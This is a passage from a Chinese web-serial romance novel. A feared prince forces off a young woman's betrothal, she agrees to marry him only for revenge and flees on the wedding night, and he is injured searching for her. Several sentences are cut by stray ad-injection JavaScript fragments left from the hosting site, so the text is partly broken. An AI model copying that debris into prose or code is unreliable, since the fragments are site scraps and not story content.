恨他就还是在意他的……在意他,又为什么嫁给别人?是因为太恨他了。他如此想着,脑中逐渐成了一团乱麻……半个月没见,他又想她了。 雨过天晴,这天沈月去了佛寺。 她还是穿着那件浅紫色衣裙——这是沈小姐最常穿的一件衣服,一脚刚迈进佛堂,竟看到一个熟悉的身影。 ……君琰也会来佛寺? 这尊杀神来佛寺干什么? 真是不巧。她默了默,正打算退出去,他却已经发现了她。 “沈小姐,别来无恙?” 她只好定住了脚步,笑了笑:“九爷也来礼佛?” “哐当”一声响,他将一大锭银子掉进了功德箱里,回声好大。 佛堂安静得很,不知什么时候,原本在周围礼佛的人都不见了踪影,一老僧带着十几个小僧出现在了他们身后,一脸的肃穆…… 咳,这是作甚? 她是隐瞒了身份前来的,那么僧人们摆出如此大礼来迎,必定是因为他了。 住持笑容和蔼:“阿弥陀佛……老衲在这里二十余年,像施主这般礼佛的,还是头一回见。” 君琰自嘲般一笑,“杀人放火的生意做惯了,想来即便捐功德,佛祖也不会庇佑我这种人的吧?”< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p>此人语气云淡风轻,眉宇间却是难掩的煞气,周身气场强大,想来确如这姑娘方才所称呼的——他便是九公子。 一众僧人都明了了,没有人敢回话。 沈月看了看他,接口问道:“既如此说,怎么又施了银子?” “小赌怡情。”他对她露出一个笑容。 住持很快告罪而去…… 寺里变得很空旷了,只剩下他们两人,还有袅袅的香火气…… 她开始后悔今天来这里了。可她也着实没想到,他这样的人竟然会来佛寺。 “沈小姐。”他出声叫住她,“既然碰上了,就一起走走吧。” 两人良久无言,来到外面的草地上,慢慢走着…… “你来求什么的?”他问。 “姻缘。”她说道,“我和秦公子的姻缘。” “是吗?” 他闻言心里堵得厉害,面上却不再显露。 这些天他脑中思绪烦乱,晚上躺在榻上翻来覆去地想,到底要不要成全他们。 刚醒来的那会儿他心里觉得应该成全,因为自己曾经伤害了她,而今只要是她想要的,他都没有资格再夺走。可这几天他又想来想去,怎么都觉得那个秦璐实在是配不上夭夭。而且,更可疑的是…… 他现在想来,觉得之前她在他面前与秦璐亲密的行为,可能多少是有点故意的成分在。 ——会是这样吗? 她冷不丁看了他一眼,却被那怀疑而犀利的目光击中,一时心里被敲了一下,不明他在想什么。 “这些天和沈小姐的相处极为愉快,你曾说,要与本王做朋友,可还作数?” 他忽然这样说,她也没有多想。“我说过的话自然是作数。” “在朋友面前,可不需要什么皮里阳秋的本事。”他轻轻地掠了她一眼,“你和他下月就要大婚了,还需再求么?” 沈月顺溜地接话道:“话不是这么说的,婚后还有婚后的事,世事无常,我希望能和他白头到老,万事顺遂。”说话间却不由加快了几分脚步。 君琰却也跟了上来,步步紧逼。 她停下来了,看着他挑眉一笑:“还不知九爷届时会送我们什么贺礼呢,我是不是可以期待一下?” “当然,可以。”他迎着落日站着,轮廓分明的脸被暖光渡上了一层柔色,“无论我送的什么,沈小姐都会喜欢么?” 她笑看着他:“只要您祝福的心意是真,送什么自然无所谓。” “你就不好奇我方才求的什么?” “请说?” “我向佛祖,求了一点气运。”他别有深意地看着她,语气微颤:“本王从来对别人的热闹不感兴趣。拖我入局很容易,将我请走却很难,你觉得是不是这样?” 这一瞬,君琰仿佛又变回了以前的君琰。 生病刚醒来那一会儿的憔悴与彷徨消失了,他开始慢慢正视自己几近疯狂的欲望与渴求…… 这些年来,朝堂上的风风雨雨见了那么多,到头来却折在一个小女子手里,亦心甘情愿,他仿佛重新认识了自己。 她这时候闻到了他身上的药香,淡淡的,苦意悠然。 他亦找回了她身上……那股熟悉的味道。 四目相对间,他的眼中蓦然一片雪亮,这几分熟悉的味道,仿佛一下子将他自“丧妻”以来种种压抑着的感情全数勾惹了出来……不,他不对,他之前想法不对,君琰从来不该是一个忍让退却的人啊。 明明知道秦璐不好、配不上她,为什么还要放任她去选择这个人?!她即便要选别人,也不该是这样的人,就算司云也比秦璐好啊……她这到底算什么?对感情失望了一次,就开始破罐子破摔了吗? 一时间心潮急剧起伏,她仿佛窥见了他眼中迸发而出的欲念,不由心下一慌…… 他忽然攥住了她的手! “九爷你……你放肆!佛祖面前你要干什么?”她睁圆了眼直视着他,君琰微微气喘着,她挣扎的模样仿佛刺痛了他。 这一瞬,从那双从来深不见底的眼瞳里,她竟看到了鲜活的喜怒哀乐。君琰的心已经化成水了。他忽然启唇,微哑着道: “你不能嫁给秦璐。” 32. 抢亲 她眼中露出微讶的神色。“你忘了我们的交易么!?” “当然没忘。你是说要我帮忙成全你们,可在字据里只写了要我将他绑来送到你面前,我早就做到了。现在,是不是该轮到你履行承诺了?”他的目光有些危险,“还是说,堂堂星月阁少阁主,想赖账?” 沈月脸色一白…… 她想起她当时说过什么了。 她说…… “扮演本王的亡妻,这可是你说的。”他好像在笑,又好像没有笑,语气里透着一丝怪异的哽咽声,“别嫁他了,嫁与本王,这样才能更好地履行我们的交易。” “我和秦璐的喜帖已经发出去了,”她瞪着他:“难不成让全城的人都知道,本小姐言而无信,当众悔婚?我不要名声,星月阁还要点脸呢。” “你是少阁主,做什么都是天经地义的。”他颇有耐心地说,“如果沈小姐不愿自己出面来退婚,本王也乐得援手。你们好端端的婚事,就是被本王搅黄的。” “你……”她蹙起了眉头,“你想怎样?” 他这下放开了她,云淡风轻地道:“抢个亲算什么?本王的名声已经很烂了,不介意更烂一些。遗臭万年于我而言,也同流芳百世没什么两样。” 沈月:“之前我说要扮演洛姑娘,可您不是拒绝了吗?怎么现在又要了?” 君琰:“此一时彼一时,只要本王高兴,也无所谓朝令夕改。” ……哎,自己是不是玩过火了,终于把这尊杀神给惹毛了? ——他背过身去了,她看着他的背影这样想。 不过……也没关系啊。 他若真要如此,她亦自有应对之法……呵,谁操控谁还不一定呢。 “我知道了。”沈月露出一个凉凉的笑容。“九爷既这样讲,我还能说什么。即便是为星月阁,我也不能得罪了您。” “你不喜欢秦璐。”他忽然转过身来,犀利地直视了她这个诡异的笑——“本王会替你解决这个麻烦。” 她看着他,他揣摩着她的目光…… 过了好一会儿…… 心里在这时候似又有了一瞬间的犹豫,他看着这双熟悉的眼睛,脑中忽然想起了她曾经被自己强行带回府中的情形…… 那天大雨,她说了要和他决裂,他却不顾她的意愿强行带她回府,才导致了后面的悲剧。他从来就是这样一个说一不二的霸道的人,此番……是否又是习惯使然,没有尊重她的想法了?他是不是不该这样做的?他好混蛋,是不是又惹夭夭生气了呢? 他深吸了口气,静了静,脸上的神色也缓了缓,有些别扭、不情愿地开口道:“可如果你实在不愿意的话……” “愿意啊。” ——沈月却露出了一个清甜的笑容,仿佛现在的她也已变得喜怒无常、十分嬗变,“九爷如此身份地位,我为什么不愿意?” 他怔然一瞬,紧接着压抑着心中的欢喜,道:“你真的不介意我……” “你刚才说得也对,我也想了想,我的确没有那么喜欢秦璐,我只是需要一个人来帮我体验相爱悦的感觉,偏巧他是个听话的,便选了他。至于我喜欢谁、要嫁给谁,本就没有那么固定。也许我昨儿喜欢他,今儿就喜欢你了,哪怕要扮演你的亡妻也无所谓。我沈月于情爱方面,不是个讲究人。” 她说对秦璐并无真心,本该是让他欢喜的,可她话语中又隐隐透着一股怪异,说起话来也十分轻松顺溜,仿佛是在设一个充满诱惑的骗局…… 果然如她所言,她现在已只想体会爱悦的感觉,而无所谓对方是谁了么?甚至,已经不讲究情爱中的纯粹与忠诚了?那个从前天真期待着“愿得一心人”的夭夭,终究是被他杀死了吗? 他凝视着她,觉得她真的变了好多。 可不管怎么变,那也还是他的夭夭啊。 倘若真是这样,他愿再给她一次明媚。她的心是因他而冰封的,他愿用尽全部,重新将这颗心焐热。既然她都无所谓是谁了,那就是他吧,也只能是他! “抢就抢了,还问这么多,瞻前顾后可不像是九爷你的为人呐。”沈月笑得意味深长,“下月初八,我等你——来娶我。” 夕阳西下,霞彩漫天,她拂袖而去。 他看着她的背影发怔…… 夭夭,再信我一次。只要你再信我一次,我必定让你做这天底下,最幸福的姑娘。你要去哪里,我便陪你去,你想要什么,我就去帮你抢……你想怎么样都可以,再给我一次机会好吗? 就当是我,求你。 他的动作很快。第二天,秦璐就接到了一份通关文书。 “马上从江南消失,后路我们为你安排好了。”姚寂抱剑而立。 秦璐的脸上红一阵,白一阵,一时都不知该说什么了…… 其实他一直知道,小姐心里是有九爷的,自己不过是她用来报复他的工具,不过是一个配不上她也不该妄想的下属,可即便如此,他的内心仍始终存有一丝假戏真做的欲望,和几分自己也觉察不出的胜负欲。 九爷这样做了,他终于这样做了……小姐会很高兴的吧? ……是吧? 他不知道小姐的曾经,只能从现在发生的事情里,猜上几分。 “你们这样太霸道了。”他徒劳地表示抗议:“下个月我就要娶她了。九爷也受到了请帖,这件事他是早就知道的。” “我来并不是与你商量,而是通知你。”姚寂眼中一片漠然,淡淡道:“明天这时候会有人来接你,若不走,就备好棺材,通知你的家人来收尸。” 说罢,便从窗前消失了。 秦璐呆在那里。 九公子……果然是名不虚传。 自己没有任何反抗之力。 他直接派人来通知,小姐应该也是知道的吧?若不然,不可能如此不顾星月阁的面子。 小姐……他想着眼中闪出了泪星。 无论怎样讨她欢心,他始终都只是她的工具。 星月阁少阁主要嫁的人,忽然改了。 黑布组织忽然宣布,要与星月阁联姻。 沈因初今天从幽州回来,初闻沈月婚事之变,马不停蹄地赶回阁中。 “义父。”沈月起身行礼。 “坐吧。”他一挥手,下人便抬了几个箱子上来,一打开,里头全是各式珠宝珍玩,明晃晃的炫人眼目。“这些是给你带的,回头你再看。” “谢谢义父。” “你的婚事……”沈因初直入正题:“你到底怎么想的,之前不说要嫁给秦璐么?” “这个……” “我们星月阁什么都不缺。”沈因初喝了口茶,“只要你高兴,让谁入赘为父都没意见,但,除了他。他若要强娶,星月阁也不是吃素的,为父现在只要你一句准话,你真的情愿嫁给他吗?” 沈因初对于她,是知道几分的。 “若真要嫁他,当初又何必出来……你觉得一个人的秉性,一年内可以发生多大的变化么?” “义父。”她的眼圈微红,忽然跪了下来,坦白:“是我不孝,我想报仇。” “报仇?” “他负了我,杀了我的亲人。我要借嫁给他的机会,报仇。只需要一个婚礼的形式而已,不是真的要嫁他。” “哦……”沈因初眼含深意地看着她。 “义父对我恩重如山,若非您的帮助,我现在不过是无根浮萍罢了。您一直不肯告诉我施以援手的具体情由,可我却发现了一些事情……您是不是同我的父母,有什么交谊?” 沈因初没有承认,但也没有否认,说道:“孩子,你要报仇我不是很赞同,一来仇恨会将你吞噬,妨碍你的正常生活。二来,你执意要这样做,搭进去的可是自己的声名,往后你要再想嫁与旁人,就没那么容易了……你换了一个名字和身份,是为报仇,还是为重新开始新的生活,哪种更好? 如果这些问题你都已经想过了,深思熟虑过了,心中仍是放不下,那便……放手去做吧。可你也要记住,报仇容易释恨难。如若到时候不能收手,你就来与我说,星月阁会是你永远的后盾。” “……义父大恩,沈月没齿难忘!”她眼眶一热,重重给他磕了三个头。 “起来吧……其实何止是你,我和他之间,也有仇啊……”沈因初淡淡地笑着,又好像没有笑,眉眼间如罩云雾,那神色叫人看不分明…… 君琰的心情这几日变得格外好。 他应该送给夭夭什么样的聘礼呢?又应该给她定制什么样的嫁衣?如今皇位上坐着的不是君墨林了,依照他们的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 契约他现在相对自由,想娶谁就娶谁。 短短七日内,江南所有的绫罗绸缎、珠宝珍玩皆被买空,九爷要亲自为新嫁娘定制婚服的消息传遍了大街小巷,成了百姓们茶余饭后的谈资。更炸裂的是,他要娶的人,竟然是星月阁少阁主沈月。 “沈月不是要嫁给秦公子吗?之前喜帖都已发下去了,怎么忽然变了?!” “你还不知道吧?我听说秦公子已经被人秘送出城了……” “啊?!” “这有什么奇怪的?对方毕竟是九爷,九爷做出什么事来都不叫人觉得意外。” “九爷为什么又忽然看上了沈小姐?我听说他之前消失了一个王妃,还有一个洛姑娘……” “对!听说那洛姑娘是纵火自焚的,他还为此伤心了许久,本以为这位洛姑娘是他的真爱,怎么现在才一年多,又看上沈小姐了?” “什么真爱,都哄人的罢了。洛姑娘生前可惨,被张王妃虐待,九爷从不帮她,还一直冷着她,后来洛姑娘绝望自焚,他又开始怀念人家了……怀念了一年多,现在又看上沈小姐了。这江湖魔头确实没什么好的,不过也是个好色滥情之徒。” “哎,沈小姐和秦公子也真是倒霉,怎么就碰上这么个魔头拆散鸳鸯、横刀夺爱?” “可我觉得不对啊。你看,沈阁主已经回来了,以星月阁的实力,如果要和九爷叫板并非不可,为什么事情会发展成现在这个样子……?” 众人这些你看着我,我看着你,一时间也迷惑了。 “我知道了!”一老汉一拍桌子,“九爷来这里办事,与星月阁合作,阁主不在的时候都是沈小姐代劳的,这一来二去,两个人就有意思了,于是沈小姐就抛弃了旧情郎,跟九爷在一起了。” 众人一阵子噤若寒蝉…… “是这个理。若不是这样,当真解释不通。” “沈小姐竟真的看上了九爷?这种江湖魔头,和他待在一起,保不准什么时候就会被悄无声息地杀喽!沈小姐还真是女中英豪啊。” 流言传得跟风一般快,不过三天之内,沈月就多了一个“女中英豪”之名,但并非褒义。在世人眼中,胆敢嫁给九爷的女子,大概都需要比死还大的勇气。 婚礼筹备在紧锣密鼓地进行着,三书六礼,一样不少,君琰还亲自登门拜访了沈因初,行晚辈之礼…… 消息传到京城,君朝雨疑惑地皱了皱眉。 “事情快办完了他也不回来,竟要在江南娶妻?”年轻的帝王看着传回的奏报:“要娶的还是星月阁少阁主? 身份倒是与他相配,可他之前不是一直悼念洛姑娘,怎的又忽然看中了沈小姐?” …… “罢了。朕与他有约在先,无论他看中哪家姑娘,朕给他的新王妃脸面就是。”说着便打算给沈月封个诰命。 “陛下三思。”一旁的老臣提醒:“沈月现在算是商贾之女,真要封诰命,怕是坏了祖宗的规矩。且陛下要施恩也不急在这一时,待来日她为景王诞下子嗣,再行册封不是更合清理吗?” 君朝雨放下了御笔。“你说得是,是朕操切了。如此,便赐些东西过去吧。九弟若直接在江南成婚,朕不好南下观礼,只能赏赐些东西略表心意。” “皇上圣恩,景王必会感激。皇上,这件事就交给礼部的陈大人去办吧。” “准。” 大婚之前新人不能见面,但沈月有话要带给君琰。 “我那日有话没与他说完,你马上去飞鸽传书。” “是,小姐。”静儿接过她手中的东西,出去了。 另一边,君琰解下鸽子脚下帮着的信,展开。 然后他笑了。 原来是他的夭夭来谈条件了啊。 “她写的什么?”傅从在旁问道。 “也没什么。”君琰将信摆在桌上,眼睛里是前所未有的温柔和宠溺,“她说要按她家乡的风俗办婚礼,要在这边办,不然就不嫁。女孩子家,真是淘气。” “属下这就去查本地婚嫁风俗。还有嫁衣,全江浙所有最厉害的绣娘都在连夜赶工了,无殇在催办那边的事。” 君琰点了点头,“回头我还要给她请个诰命。”说着说着他就笑起来了,“这一次我要补偿——所有曾亏欠她的东西。” 33. 一嫁 赶在冬天到来之前,在这个秋天办好婚礼,成了他此时最大的心愿。 成婚仪式很繁琐,夭夭忙一整天会饿,要提前把点心备好…… 闹洞房的、会惹夭夭不快的人,全部关在外面…… 婚礼一定要热热闹闹,因为夭夭喜欢热闹。夭夭现在是少阁主了,排场不能小,自己这边会和星月阁联手办最盛大的婚礼…… 聘礼全都送去了,但现在的夭夭什么珍宝都见过,他应该再送她一件特别的东西…… 什么特别的东西呢? 他还要让全天下人都知道,她会是他的景王妃,唯一的、有名分的王妃。 初八是个好日子呀。 陆云直到看见从来不理琐事的公子开始来回踱步地想着这些,方才知道,公子他是真的……疯了。 彻底疯了。 一场秋雨一场寒。 沈月独倚栏杆,纤细的手指撕着一片又一片的玫瑰花瓣,眼睛里一片空落。大红而浓烈的色彩从她的指缝间瓣瓣而落,飘落在浅紫色的裙摆边。 他是来应当初要娶她为妻的誓言了吗? 那双漂亮的眼睛里,浅浅地染上了一丝哀戚。 紧接着,鲜艳的玫瑰整朵地被她狠狠丢在地上! 可惜,太晚了。 她走过曲折寥落的游廊,在秋风卷地枫叶飘零的时分,重温着过去与他之间所生的欢喜、所余的绝望,以及暴雨如注之时的锥心刺骨之语,慢慢地进了里屋,抬手,轻巧将那盏荧荧摇曳着的红烛灭了。 今夜无月,眼前顿时陷入一片漆黑。 大婚当日,万人空巷。 今日的主角,是九公子与沈小姐。黑布组织与星月阁联姻,以后他们不会是对手,而会联手……如此一来,试问江湖之上还有谁敢出其右? 他已经准备好了用所有的热忱与真心来迎接她。 一应仪式都走得很顺利,喜乐闹腾,要糖的小孩儿站满了街巷两边,他也甚是大方,命手下一把一把地洒下糖果雨,还洒铜钱,小孩子们别提有多高兴了,一个个欢快地喊着,闹着…… 他温柔地朝身后那个喜轿上望了一眼。 那里面,坐着他的夭夭。 嗯,他的,他的夭夭。 君琰的心里美滋滋的…… 这一次,他一定不会再把她弄丢了。 晚上,月亮升起了,他在外头与往来宾客饮了酒,便急急地向洞房赶去…… 明媚艳丽的大红纱帐里,坐着个影儿,漂亮精致的大红盖头下却早已没有了人。他笑着,手里拿着玉如意,朝那个影儿走去…… “夭夭。”他轻声说:“我来了。” 他挑起了红盖头…… 眼前乍然一懵,他的手停在了半空,下一秒,玉如意“哐啷”一声掉在了地上! 四顾一番,哪里还有夭夭的影子?! 眼下穿着新娘嫁衣的,只是一尊石像…… 可刚才进来的那个新娘,明明是个人啊?!到底,怎么回事? 他整个人都呆了一会儿,脸上显见地慌张起来!一下子脱掉厚重的喜服外衣,转身出去喊人。 “公子!怎么了?” “她不见了!”他眼中写满了焦灼和不安,还有一股子狠劲和怒意,“快,马上去找人!!” “好的公子,您稍等……” “不。”他打断了,“给我备马!” “您要亲自……” 君琰已从原地消失了。 “今天就是把全城翻个底朝天,也必须给我找到她!!”——空气里只留下这句话的回音。 新嫁娘失踪了…… 很快全城都知道,新嫁娘大婚当夜失踪了。 全城戒严。 所有能出动的人,全部出动了。 星月阁的,还有九公子的人。 半夜下起了雨,君琰骑在马上,咬牙想,她会去哪里呢? 婚礼现场是他亲自安排的,一应布置都十分周密,按理说不会叫别有用心的人进来掳走新娘,要说,除非是自己人做了什么手脚…… 可他对这些属下,从来疑人不用、用人不疑,他们应当也不会背叛。 那便只剩下了一种可能…… 新娘自己! 一瞬间他眼中的光彩仿佛全部失去了,整个身体只剩了一个空壳。马儿跑至一半,因失去主人的鞭子而停了下来,他看着空茫阴森的夜色,眼中逐渐泛起了苦意…… “公子,那边都找过了,没有人!” “继、续、找!”他咬牙说道,忽然想起了一个再次被他遗忘的地方——云青山。 城中能找的地方都找过了,扰民的事情他干了,不能干的事业干了,如今只剩下那座山了。 她会在大婚当夜用一个泥塑换了自己,然后跑去云青山吗? 她假意答应了他,而后又故意逃婚,就为了折磨他? 夭夭,你还是那么恨我。 可我不想你有事,现在到处都找不到你,我很担心你……你要整我可以,要报仇也可以,但请你珍爱自己,不要去冒险好么? 一道闪电劈了下来,正从天而至直插入地。随行之人听见了他们公子坚定的命令声:“所有人,跟我去云青山!” 电闪雷鸣之夜。 沈因初看着外面的天,摇了摇头,说不清心里是什么想法。 这样恶劣的天气,九公子果真发动所有人去找沈月了吗?这么晚了,也不知道他现在回来没有。不过像他这样的魔头,真的很难想象会对一女子求而不得至此…… 沈月和司云正坐在屋里边吃水果边下棋。 她拿起一颗洗净了的葡萄,慢条斯理地放入口中。 静儿每隔半个时辰进来汇报一次情况。 “小姐,九爷发现您跑了很生气,已经发动所有人全城找您去了。” “小姐,九爷现在还在外面找您。” “小姐,九爷带人去云青山了。” …… “我说过,你要报仇,我也陪着你。”司云落下一子,一面悄悄观察着她的神情,“阁主松了口,允我过来,你身边这个丫头也知道你我的关系么?” “我都告诉她了。你放心,她是个靠谱的。”沈月落下一子道:“今夜我便不睡了,我倒要看看他找不着我会如何。司云哥哥,你先睡吧,时候不早了。” “我说了要陪你的。”他温和一笑,“没事,一个晚上不睡算不了什么。不如我们就把这盘棋下到天明如何?” “好吧,随你。”她笑了笑,“你说……他会不会生气到要杀了我?” “这个,我怎么好说。毕竟是个魔头,会做什么事都很难想象。”司云笑道:“不过你放心,若真如此 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,我,还有阁主,我们都会保护你。” “报仇本就是要付出代价的。”她的语气冷着,“如今没有什么事是我不能面对的,你就放心好了。” 话听上去像是宽慰,语气里却透着一股淡淡的疏离,他不觉有些灰心,强打起精神继续与她下棋,“好,都听你的。” 云青山上一片漆黑,山泥被雨水冲刷了下来,侍卫们打着手灯,艰难行进…… 他还是头一回见到这般壮丽而阴森的夜的交响曲。深黑的天幕上,只一瞬间,无数道粗细不等的闪电交织在一起,仿佛一张大网,从天宇扑面而来,要将地上的所有人吞噬入腹。身后已有侍卫掉了下去,发出的惨叫声却顷刻间被轰隆的雷雨声盖过,仿佛什么也没有发生过。 一名随从扯着嗓子道:“公子,雨实在太大了,要不回去吧!再这么下去,万一天上霹几道雷下来,小的们丢了命事小,万一公子有个闪失可怎么办啊?” 君琰脑中却又浮现了上回暴雨入注时她和自己决裂的画面……这样的雷雨天,万一夭夭在这里呢?万一她又是和他赌气,一个人跑来了这里,要做什么傻事呢?所有地方都找遍了,只剩了云青山,她会不会正躲在某个角落里等自己?以前他刺激了她,还没有得到她的原谅,她会不会做出这样不合常理的事来,真的不好说…… 他的心越来越乱,越来越乱…… 不行,他不能走,他一定要找到她。只要她还有万分之一的可能是在等他来找,他就不能半途退却…… “你们走吧。”许久,他落下一句,“本王一个人找!” “不行啊公子,我们怎能把您一个人丢在这里?” “公子,回去吧!”姚寂一个闪身出现在他面前,“西面的山头我刚去过了,也没有。洛……沈月,摆明了就是在耍你!” “住口!”他喝断了属下,看向前方——“东面还有一个山头,我去看看,如果没有,就回……” “公子!”姚寂追着他喊:“东面的山头很危险,不要去!” 轰隆的雷声响彻耳膜,屋子里一秒亮如白昼,下一秒又遁入夜色。 “小姐,小姐!九公子他,他……” 这一回,静儿的脸色变了,语气也有些焦急,还透着一丝不易察觉的恐惧。 沈月和司云的这一局棋正至尾声。 “说。”她转过脸来,眼睛里没有什么情绪波动。 静儿的声音变小了:“九公子去云青山找您,去了东面那个山头,失足跌下山崖……” “当!”她手里的一颗葡萄掉在了地上。 “……啊?”司云也变了脸色。“真、真的假的?” “你再说一遍?”沈月站了起来。 静儿:“是。九公子为了找您,失足跌下山崖了。” 沈月:“哦。” 许久…… 她忽然扬手将左手手心里放的六颗葡萄全部狠狠砸在了地上,眼周也变得通红,语气是前所未有地狠厉:“好啊!跌得好,他活该,活该!” 空气里骤然安静。 “夭、夭夭妹妹……”司云被吓到了,一双正想去扶她的手停在了半空…… “我说了我要报仇,为我父母报仇,这是他的报应!他最好别被人救到……”她喘着气,情绪一时间急剧波动,通红的眼睛里却闪出了泪花——“别再让我看见他!!” 34. 劫后 雨一直下到清晨才稍歇,昏迷中仿佛又听见了童年时的那曲《孤山听雨》……李嬷嬷那时还很年轻,头发仍是干干净净地梳起来,清清爽爽地笑着,弹着那把她携身带了二十多年的月琴……划桨的人儿穿行微雨、青山、绿水之间,双桨打不动弱浅漪澜,舴艋支不住销魂重载,“无风仍脉脉”绝非浪饰浮词,凉雨悲秋的气息尽在荡舟人的一望了。荡着,荡着,漾开了尘世浮波浪蕊,只留下孤影一人。 小时他听不出李嬷嬷曲子里淡淡的哀伤,只是爱那音乐的干净莹洁,越长大,却越能听出曲中人的孤独……因为自己渐渐地,也变成了一位孤独的曲中人。 雨点从黄叶叶间上滚落,打在他的脸上,一点,两点,三点……一点一滴、不紧不慢地,挠痒痒一般唤醒着他的意识。 身下的软草上沾满了血。 比身上还冷的是血液,比血液还冷的是骨骼,比骨骼更冷的是心脏。 他要死了吗? 可是夭夭还没有找到…… 这并非是他第一次待在崖底,江湖浮沉数十载,他什么都见过,什么都经历过,各种追杀与逃亡,鲜血的气息与濒死的绝望,在他这里并不陌生。可这一次,施与他这些东西的人,是她啊…… 原来,即便想要她为了复仇而活下去,被这么对待时他仍是会痛心的啊。 那夭夭呢? 当初被自己那般对待的时候,她大概也是如此吧?又或许,会比他现在更加心如死灰。 那就让他接受这一切的惩罚吧。 天神对人的惩罚,不是死亡,不是遗忘,而是清醒地记着、明明白白地被最在意的人伤得体无完肤。 夭夭,如果我死了,你就是大仇得报,往后,忘了我这个负心汉,去拥抱你新的生活…… 起风了。 黄昏时分,沈月来到了景王的住处门口。 她的心绪,在一天之内大起大落…… 夕阳微耀着秋叶,在凉风中瑟地倚在枝头,她记得他门口这棵大树上这几片低处的叶子,阴阳晴雨的异态,在每片树叶上,在某一个瞬间弥漫地动,在某一点上断续地变,恰似她的心境一般,大喜大悲,大伤大恸,一息一息地跳荡无休……此处秋色,光辉黯淡,明画朦胧,炫目之至,亦变幻如烟。 里边传来了响动声,在她耳边形成了一个个模糊的音符,她听不清他们在说什么,只想象得出是有一群人在里头焦急着忙来忙去…… 山崖底下的九公子被属下们找到、救回来了。但能否醒来,犹未可知。 四堂主都不约而同用那种异样又怀疑的眼光看着她,没有让她进来。她便像上回那样等在门口,心想,无论他是死是活,自己都该第一时间知道才是。 “沈小姐。”陆云从里头出来了,面对她时脸色十分难看,很不乐意地说道:“公子醒了,请你进去。” 她一怔。 一刹间说不清心里是什么滋味,她转头向里面跑去……直至他门口方刹住脚步,停留了数秒。 洛夭夭,你在想什么呢? 好,很好。现在他活下来了,你可以继续,对他的报仇与折磨了。 眼睛里方才暗藏着的那分担忧一瞬间消失不见了,她顷刻又换上了沈月素日里那副矜贵的小姐神情,从容淡然地走了进去。 “九爷,您没事。” 耳边传来了熟悉的声音,他疲倦的眼睛睁大了几分,似乎努力想要看清她……“我眼睛受伤了,你过来些好吗?” 她往前走了两步。 却仍与他保持着距离。 视线里的她只稍稍清晰了几分,他没再要求,微微低下了头。 自己之前是不是有些性急了,她和他还这样生分,他就说要娶她…… “你都好吗?”他开口却是这样一句。 她本以为他要问的是:“大婚之夜你去了哪里?” 她有什么不好的?他为了找她失足跌下山崖的时候,她就在星月阁和竹马一起吃水果下棋。 他将全城都找遍了,却唯独不会想到她回了星月阁,也想不到她的所作所为已经和沈因初提前通了气、得到默许,这就叫“灯下黑”。 现在不好的是他,他却还问她好不好。 许久没听到她的答话,他扶着额说:“没事就好……你回去吧。” 回去? 她看着他。 “你不想问大婚之夜我去哪了?”她终于说。 “想……你会告诉我吗?” “我被人绑了。”她张口胡来,甚至都懒得费心去编一个破绽更少的谎。 谁会帮星月阁少阁主、九公子的新嫁娘呢?谁有这个胆子?婚礼现场一应筹备周密,在哪个环节能出乱子?昨夜万人空巷皆在观婚礼,又有谁会傻到这个时候去触两大江湖最高组织的霉头? 他却没有点破,听见她这般回答也不意外,只是点了点头,顺着她的话说:“原来是这样。” 她微讶,没想到他连问也不问。 这人是被摔傻了,还是…… “沈小姐。”他忽又开口——“是我这边没布置好婚礼,害你被人绑走,之后我会将这件事说清楚,待我好了也会再去拜访沈阁主。这一次出了些意外,我保证,下一次不会再发生这样的事了。” 她微怔……下一次? 君琰看着她的眼睛:“我再给你办一次婚礼。你再……嫁我一次好吗?” 沈月:“……?” 他为什么要将过错都揽到自己身上,又为什么要这样说?这还是她认识的那个君琰吗? “咳咳咳咳……”他一时忍不住,背过身面朝墙剧烈地咳了起来。 她站在原地看着他,没有动。 好一会儿,才说:“你病体未愈,也许还有些神志不清。有什么事,等你好了再说吧。” 她离开了。 想过可能会面对他的质问和讽刺,也想到可能会遭到他的报复,却没想到他会是这般反应,被算了一道,还要继续娶她第二次? ——以他的聪明和他手下的情报网,必定是能知道事实真相的啊。哪怕他现在是一时半会儿意识未清、脑子被门夹了。 “沈月!”长街尽头出现了一个 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 人。 司云今天薄衫束发,手里拿着把骨扇,活像那画中儒生。他步履匆匆地向她走来。 “司云哥哥?” “你没事吧?!”他关切道。 她向后退了一步和他拉开距离,“没事啊,我能有什么事。” “哦……”他这才舒了口气,“我还以为……” “以为他会为难我?”她继续沿长街走去。 他追上,与她并肩而行。“难道没有?” 她沉默。 他有些意外,“竟然没有?” “我也不知他是怎么想的……” “不行,”他打断了她的话,“若等他反应过来,还不知会怎么报复,这段时间你躲在阁中不要出来。还有,往后……” “往后怎的?” 司云忖了忖,声音低了几分:“你已经和他举行过婚礼,却未入他的门,如果你们以后不在一起了,怕是也对你声名有损,影响到婚嫁,但是我不介意。” 她听懂他的意思了。 “司云哥哥,你的心意我懂,但我早和你说过,不必。” 她又一次直截了当地拒绝,这一回却让他有些猝不及防。他原以为这次的事情过后,她的心意多少会有些变化……毕竟如此一折腾,是真的会影响到嫁娶之声名。她要复仇,就不可能是一块不染尘埃的白玉了,只有如他这般永恒爱着她的人,才能包容白玉所沾的泥垢,令其回归本真。 可是,她却再一次拒绝了他。 “他说要再娶我一次。”她的语气淡淡的。 “什么?!”司云显然被惊住了,“那你……你答应了?夭夭,他、他杀了云青山上那么多人,你不可以真的嫁给仇人!” 无论他做什么、说什么,她都始终是一副神色淡淡的样子,而君琰,无论让她爱也好恨也罢,总能让她眼中闪着别样的光,他心里那一股属于男人的自尊心忽被刺痛到了,长期以来在她面前的压抑与卑微,却换不来她一星半点的喜欢……“我就那么比不上他吗?!” 长街尽头,人烟尽散,他忽然抓住她的肩膀压在角落! “你干什么?”她睁大了眼睛,“放开你的手!” “我们是从小一起长大的情分!”他盯着她,好像多年来的隐忍与情愫,都在这一刻爆发了,“为什么你从来一点机会也不愿意给我?!” 她这一瞬在他眼中看到了此前从未看到过的那种神色……渴求、嫉妒、疯狂,种种都交织在一起,冲散了从前温润如水的眼波,再也不温柔了。 